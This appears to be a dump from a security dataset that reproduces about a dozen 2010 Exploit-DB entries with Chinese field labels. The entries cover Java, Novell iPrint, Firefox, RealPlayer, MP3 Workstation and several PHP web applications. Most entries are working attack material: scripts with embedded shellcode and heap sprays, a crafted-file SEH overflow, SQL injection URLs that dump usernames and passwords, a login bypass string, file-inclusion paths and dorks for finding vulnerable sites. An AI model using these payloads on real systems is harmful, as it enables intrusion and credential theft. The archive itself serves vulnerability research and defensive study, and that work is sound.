QLWD/code_shield huggingface dataset:
标题: primitive CMS 1.0.9 - Multiple Vulnerabilities EDB-ID: 15064 CVE: 2010-3483 2010-3482 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-20 漏洞利用脚本: # Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.bouzouste.info/
# Software Link: http://www.bouzouste.info/link/click.php?id=1
# Version: 1.0.9


[Vulnerability 1]

# Unauthorized Access

Url: http://[site]/[cmspath]/cms_write.php

In cms_write.php is no check if the user has administration rights.
Because of that, there are 2 more vulnerabilities.



[Vulnerability 2]

# Html Injection

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-25): 

$title=$_POST[title];
$content=$_POST[content];
$menutitle=$_POST[menutitle];
$sql="INSERT INTO `prim_page` ( `id` , `title` , `content`, `menutitle` ) VALUES ('', '$title', '$content', '$menutitle')";
mysql_query($sql);


The title, Menu-title  and Content a user can submit are inserted directly into
the database and inserted in the html-code on the page without
and sanitizing at all.

Example for the Title: </title><h1>Testtitle</h1>
Example for the Menu-Title: </a><h2>Menutitle</h2>


[Vulnerability 3]

# Blind SQL-Injection // PoC

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-16):

$title=$_POST[title];
$menutitle=$_POST[menutitle];
$sqlcheck="SELECT * FROM prim_page WHERE title='$title' or menutitle='$menutitle' ";

Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK
One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: "H selida yparxei" URL: https://www.exploit-db.com/exploits/15064
标题: Java 6.19 CMM readMabCurveData - Remote Stack Overflow EDB-ID: 15056 CVE: 2010-0838 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title             : Java CMM readMabCurveData stack overflow
  Version           : Java runtime < 6.19 
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.java.com
  Impact            : Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-0838
  MOAUB Number      : MOAUB_20_BA

http://www.exploit-db.com/moaub-20-java-cmm-readmabcurvedata-stack-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15056.zip (moaub-20-exploit.zip)
'''

import sys

def main():
   
    try:
  strHTML = '''
  <HTML>
  <HEAD>
  </HEAD>
  <BODY>
  <H1>You have exploited!!!</H1>
  <P><APPLET code="Curve.class" WIDTH="600" HEIGHT="400">
  </APPLET></P>
  </BODY>
  </HTML>  '''
  fHTML = open('index.html', 'w')
  fHTML.write(strHTML)
  fHTML.close()
  fdR = open('kodak.icm', 'rb+')
  strTotal = fdR.read()
  str1 = strTotal[:9154]
  str2 = strTotal[9648:]
  shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00'
  
  if len(shellcode) > 494:
   print "[*] Error : Shellcode length is long"
   return
  if len(shellcode) <= 494:
   dif = 494 - len(shellcode)
   while dif > 0 :
    shellcode += '\x90'
    dif = dif - 1
  fdW= open('kodak.icm', 'wb+')
  fdW.write(str1)
  fdW.write(shellcode)
  fdW.write(str2)
  fdW.close()
  fdR.close()
  print '[-] Html file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/15056
标题: xt:Commerce Gambio 2008 < 2010 - 'reviews.php' Error-Based SQL Injection EDB-ID: 15039 CVE: 2010-4954 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-18 漏洞利用脚本: ________  _____________  / /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
 (__  )  __/ /__/ /  /  __/ /_  
/____/\___/\___/_/   \___/\__/  

# Exploit Title: xt:Commerce Gambio 2008 - 2010 ERROR Based SQL Injection "reviews.php"
# Date: 2010-09-18
# Author: secret
# Contact : secret_hf@hotmail.com / ICQ : 17-33-77
# Site : swissfaking.net/board
# Software Link: http://www.gambio.de/
# Version: 2006 - 2008 - 2010 - all versions
# Tested on: XP / Linux

# Fixed? : NOT FIXED

# Dorks : Gambio inurl:"reviews.php" / Gambio inurl:"product_reviews.php?products_id=" etc...

##############################################################################################

[ERROR BASED SQL INJECTION]

http://www.xxxxx.com/product_reviews_info.php?products_id=x[SQL INJECTION]

e.g. http://server/product_reviews_info.php?products_id=4[ERROR BASED SQL INECTION]
e.g. http://server/product_reviews_info.php?products_id=4'

->   xtc_db_error ("select manufacturers_id from products where products_id = 4/'", "1064

##############################################################################################

[THANKS TO]

ALLAH - الله لا إله لا ايل

To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION URL: https://www.exploit-db.com/exploits/15039
标题: Novell iPrint Client Browser Plugin - 'call-back-url' Remote Stack Overflow EDB-ID: 15042 CVE: 2010-1527 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-19 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 


  Title            : Novell iPrint Client Browser Plugin call-back-url stack overflow
  Version          : iPrint Client plugin v5.42 (XP SP3)
  Analysis         : http://www.abysssec.com
  Vendor           : http://www.novell.com
  Impact           : Critical
  Contact          : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          : @abysssec
  CVE              : CVE-2010-1527

http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/

'''

import sys;
#calc.exe shellcode
temp = """<script>
     
  shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 
                      
     nops=unescape('%u9090%u9090'); 
     headersize =20; 
     slackspace= headersize + shellcode.length; 
     while(nops.length< slackspace) nops+= nops; 
     fillblock= nops.substring(0, slackspace); 
     block= nops.substring(0, nops.length- slackspace); 
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
     memory=new Array(); 
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;     
</script>
<object ID='target' classid='clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c'>
<param name='operation' value='op-client-interface-version' />
<param name='result-type' value='url' />
<param name='call-back-url' value='

"""
i=0
while(i<1000):
    temp = temp + "\x0a";
    i=i+1

temp = temp + """' />
</object>
"""

htmlFile = open("call-back-url.html","w")
htmlFile.write(temp)
htmlFile.close() URL: https://www.exploit-db.com/exploits/15042
标题: Mozilla Firefox 3.6.4 - 'Plugin' EnsureCachedAttrParamArrays Remote Code Execution EDB-ID: 15027 CVE: 2010-1214 类型: DOS 平台: WINDOWS 发布日期: 2010-09-17 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-17-firefox-plugin-parameter-ensurecachedattrparamarrays-remote-code-execution/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34358.zip (moaub-17-exploit.zip)
'''
'''
  Title              :  Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution
  Version            :  Firefox 3.6.4
  Analysis           :  http://www.abysssec.com
  Vendor             :  http://www.mozilla.com
  Impact             :  Critical
  Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter            :  @abysssec
  CVE                :  CVE-2010-1214
  
'''

import sys;

myStyle = """
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>page demonstration</title>
<link rel="stylesheet" type="text/css" href="style2.css" />


</head>
<body id='msg'>


    <applet code = 'appletComponentArch.DynamicTreeApplet'   archive = 'DynamicTreeDemo.jar', width = 300, height = 300 >

"""
i=0
while(i<100000):
    myStyle = myStyle + "<PARAM name='snd' value='Hello.au|Welcome.au'>\n";
    i=i+1

myStyle = myStyle + """
 </applet>

</body>
</html>
"""
cssFile = open("Abysssec.html","w")
cssFile.write(myStyle)
cssFile.close() URL: https://www.exploit-db.com/exploits/15027
标题: Joomla! Component Restaurant Guide 1.0.0 - Multiple Vulnerabilities EDB-ID: 15040 CVE: 2010-4928 2010-4927 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-18 漏洞利用脚本: # Exploit Title: Joomla Component com_restaurantguide Multiple Vulnerabilities
# Date: 18.09.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0.0

# Tested on: Debian lenny, Apache2, MySQL 5, Joomla 1.5.x
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_restaurantguide Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Restaurant Guide
Vendor = Oh-Taek Im
Vendor Websites = http://www.photoindochina.com/, http://extensions.joomla.org/extensions/directory-a-documentation/thematic-directory/14054
Affected Version(s) = 1.0.0

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
(id parameter is vulnerable)


>> HTML/JS/VBS Code Injection (all input fields, also in the admin backend)
It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag and convert your code into decimal HTMl code without semicolons:
"><A HREF="http://www.google.com./">injected</A>
(which is "><A HREF="http://www.google.com./">injected</A>)
The code doesn't get parsed, so it is not possible to exploit this weakness. However, including arbitrary plain text into the current website is possible. Dangerous! :D


>> Interesting stuff
a) Triggering various error messages in the admin panel is possible, e.g.:
administrator/index.php?option=com_restaurantguide&controller=restaurantitems&task=edit&cid[]=[try ' or -1 or an ID which does not exist]
Sometimes the code of the component gets displayed within the browser window when you try to trigger errors with different variables.

b) Playing around with the controller variable
administrator/index.php?option=com_restaurantguide&controller=../../../../../../../../../etc/passwd%00
(NOT a LFI vulnerability since the controller classes are defined in the source code, you just get different error messages.. nothing to exploit here..)


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 18.09.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/15040
标题: Microsoft Excel - HFPicture Record Parsing Remote Code Execution EDB-ID: 15019 CVE: 2010-1248 类型: DOS 平台: WINDOWS 发布日期: 2010-09-16 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 16 binary anlysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

  Title               :  Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1248

here is BA : http://www.exploit-db.com/maoub-16-microsoft-excel-hfpicture-record-parsing-remote-code-execution-vulnerability/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15019.rar (HFPicture_PoC.rar) URL: https://www.exploit-db.com/exploits/15019
标题: MP3 Workstation 9.2.1.1.2 - Local Overflow (SEH) EDB-ID: 15013 CVE: 2009-0476 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-15 漏洞利用脚本: #MP3 Workstation  Version 9.2.1.1.2  SEH exploit
#Author Sanjeev Gupta san.gupta86[at]gmail.com
#Download Vulnerable application from http://www.e-soft.co.uk/MP3%20Workstation.htm
#Vulnerable version MP3 Workstation  Version 9.2.1.1.2
#Tested on XP SP2
#Greets Puneet Jain



my $head = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D";
my $fuck = "\x41" x 1940;
my $nseh = "\xeb\x06\x90\x90";  # short jump
my $seh =  pack('V',0x735275CB);  #0x735275CB msvbvm60.dll   p/p/r 

my $slide = "\x90" x 12;
my $code = 
"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA".
"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60".
"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A".
"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02".
"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86".
"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5".
"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56".
"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93".
"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65".
"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45".
"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57".
"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4".
"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D".
"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46".
"\x9B\x70\x5F\xED\x1B\x12\x9F";

my $buf = "\x90" x 2805;



my $file = "POC.pls";
open ($File,">$file");
print $File $head.$fuck.$nseh.$seh.$slide.$code.$buf;
close($File); URL: https://www.exploit-db.com/exploits/15013
标题: PHP microcms 1.0.1 - Multiple Vulnerabilities EDB-ID: 15011 CVE: 2010-3481 2010-3480 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-15 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-15-php-microcms-1-0-1-multiple-remote-vulnerabilities/

'''

 
Title  : PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities
Affected Version : PHP MicroCMS <= 1.0.1
Vendor  Site   : www.apphp.com/php-microcms/index.php
 
Discovery : abysssec.com
  
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :

1. Authentication bypass with SQL Injection in login page:

user_name and password parameters recived from the login form are passed to do_login function:
login.php 
line 12-17:
 function Login() {
  $this->wrong_login = false;
  if (!$this->is_logged_in() && $_POST['submit'] == "Login" && !empty($_POST['user_name']) && !empty($_POST['password'])) $this->do_login($_POST['user_name'], $_POST['password']);
  else if ($_POST['submit_logout'] == "Logout") $this->do_logout();
  $this->accounts = new Profiles($GLOBALS['user_session']->get_session_variable("session_account_id"));
 }

in do_login function these parameters are passed to get_account_information function:
login.php line 19-29:
function do_login($user_name, $password, $do_redirect = true) {
  if ($account_information = $this->get_account_information($user_name, $password)) {
    $this->set_session_variables($account_information);
    if ($do_redirect) {
     header("Location: index.php\r\n\r\n");
     exit;
    }
  }else{
   $this->wrong_login = true;
  }
 }


then these parameters without any validation are applied in SQL query directly:
login.php line 48-55:
 function get_account_information($user_name, $password) {
  $sql = "SELECT ".DB_PREFIX."accounts.*, user_name AS account_name
          FROM ".DB_PREFIX."accounts
          WHERE
         user_name = '" . $user_name . "' AND    // vulnerability here
         password = AES_ENCRYPT('" . $password . "', '" . DB_ENCRYPT_KEY . "')"; // vulnerability here
  return database_query($sql, DATA_ONLY, FIRST_ROW_ONLY);
 }

POC:
in login page enter:
username: a' or '1'='1
password: a' or '1'='1
----------------------------------------------------------------------------------------------------
2. Local File Inclusion:

index.php file line 21:
 $page = !empty($_GET['page']) ? $_GET['page'] : "home";

index.php file line 104,105:
     if (($page != "") && file_exists("page/" . $page . ".php")) {
      require("page/" . $page . ".php"); 
poc:
http://localhost/microcms/index.php?page=../include/base.inc.php%00 URL: https://www.exploit-db.com/exploits/15011
标题: eNdonesia 8.4 - SQL Injection EDB-ID: 15006 CVE: 2010-3461 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-15 漏洞利用脚本: ======================================================================/
 eNdonesia 8.4 (Print Module) SQL Injection Vulnerability    
                                                               
 Download : http://sourceforge.net/projects/endonesia/files/eNdonesia
 Version  : 8.4 or lower maybe also affected
 Dork     : mod.php?mod=publisher&op=printarticle&artid=

======================================================================/
 
 Author  : vYc0d
 Contact : vyc0d@hackermail.com
 Site    : http://vyc0d.uni.cc
 Date    : 15-10-2010

==============================================================================================/

[Vulnerability File]

http://localhost/[eNdonesia 8.4]/mod.php?mod=publisher&op=printarticle&artid=[valid id][sql-i]


[ DEMO ]
 
http://www.site.com/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors--
 
===================================================================================================================================================/
 
[ Thanks to ]
 
[-] Allah SWT, Muhammad SAW, My Family
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew 
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie - Persiland Security
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang) URL: https://www.exploit-db.com/exploits/15006
标题: Group Office 3.5.9 - SQL Injection EDB-ID: 14988 CVE: 2010-3428 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-13 漏洞利用脚本: =====================================================================================
Group Office (/notes/json.php?task=category&category_id) SQL Injection Vulnerability
=====================================================================================

########################################################################################

Author : ViciOuS
Author Web Page :http://www.sabotaj.in
Email : vicious[at]sabotaj.in
Script Page : http://www.group-office.com

########################################################################################
 
Sql Injection :

http://localhost/www/groupoffice-com-3.5.9/modules/notes/json.php?task=category&category_id=999999 union(select 1,concat_ws(0x3a,username,password),3,4+from+go_users)--

########################################################################################
Thanks WwW.sabotaj.iN
######################################################################################## URL: https://www.exploit-db.com/exploits/14988
标题: RealPlayer - FLV Parsing Integer Overflow EDB-ID: 14992 CVE: 2010-3000 类型: DOS 平台: WINDOWS 发布日期: 2010-09-13 漏洞利用脚本: '''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
'''

'''
Title    : RealPlayer FLV Parsing Multiple Integer Overflow
Version  : RealPlayer SP 1.1.4
Analysis : http://www.abysssec.com
Vendor  : http://www.real.com
Impact  : High
Contact  : shahin [at] abysssec.com , info [at] abysssec.com
Twitter  : @abysssec
CVE      : CVE-2010-3000
'''


# POC for CVE-2010-3000
# http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14992.zip (moaub-13-exploit.zip)

import sys

def main():

 flvHeader = '\x46\x4C\x56\x01\x05\x00\x00\x00\x09'
 flvBody1 = '\x00\x00\x00\x00\x12\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0A\x6F\x6E\x4D\x65\x74\x61\x44\x61\x74\x61\x08'
 HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = "\x07\x50\x75\x08"   #  if value >= 0x7507508   --> crash
 flvBody2  = "\x00\x00\x09\x00\x00\x00\x20"
 
 flv = open('poc.flv', 'wb+')
 flv.write(flvHeader)
 flv.write(flvBody1)
 flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
 flv.write(flvBody2)
 
 flv.close()
 print '[-] FLV file generated'
 
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/14992